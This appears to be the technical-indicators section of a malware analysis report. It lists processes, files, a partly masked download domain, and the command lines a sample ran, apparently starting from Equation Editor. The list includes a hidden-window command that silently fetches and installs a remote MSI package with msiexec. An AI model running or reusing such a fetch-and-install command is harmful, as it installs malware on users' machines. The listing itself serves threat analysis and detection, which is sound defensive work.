Technical Information
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://fi##ime.com/csi/bin_4677.msi /quiet
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\wscript.exe
- msi5808.tmp
- iexplore.exe
- firefox.exe
- firefox.exe process, nss3.dll module
- iexplore.exe process, wininet.dll module
- %WINDIR%\installer\msi5808.tmp
- http://fi##ime.com/csi/bin_4677.msi
- http://fi##ime.com/csi/bin_encrypted_4BD3250.bin
- DNS ASK fi##ime.com
- '%WINDIR%\installer\msi5808.tmp'
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://fi##ime.com/csi/bin_4677.msi /quiet' (with hidden window)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://fi##ime.com/csi/bin_4677.msi /quiet
- '%WINDIR%\syswow64\wscript.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\Installer\MSI5808.tmp"